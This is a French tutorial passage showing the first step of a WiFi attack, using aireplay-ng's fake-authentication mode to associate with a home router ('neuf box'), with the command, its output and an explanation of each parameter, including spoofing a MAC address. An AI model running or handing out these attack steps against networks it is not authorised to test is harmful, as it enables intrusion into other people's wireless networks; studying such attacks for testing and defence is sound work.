La première étape consiste a s’authentifier et a s’associer a l’acces point que l’on veut attaquer. Pour cela on utilise l’attaque par fake authentification d’aireplay :

      root@bigbrother:~# aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -e 9T_F738A -h XX:XX:XX:XX:XX:XX ath0
      The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
      ifconfig ath0 hw ether XX:XX:XX:XX:XX:XX
                                                                                          
      14:49:33  Sending Authentication Request
      14:49:33  Authentication successful
      14:49:33  Sending Association Request
      20:49:34  Association successful :-)

Une petite explication des paramètres :

1. -1 : fake authentification
2. 0 : timer
3. -a : adresse mac de l’access point a attaquer à faire correspondre donc avec le BSSID de l'AP que l'on attaque
   
4. -e : l’essid de l’AP (9T_F738A notre neuf box)
5. -h : notre adresse mac (ici remplacée par une fausse proche de l’ap, 00:16:CF:61:D2:22)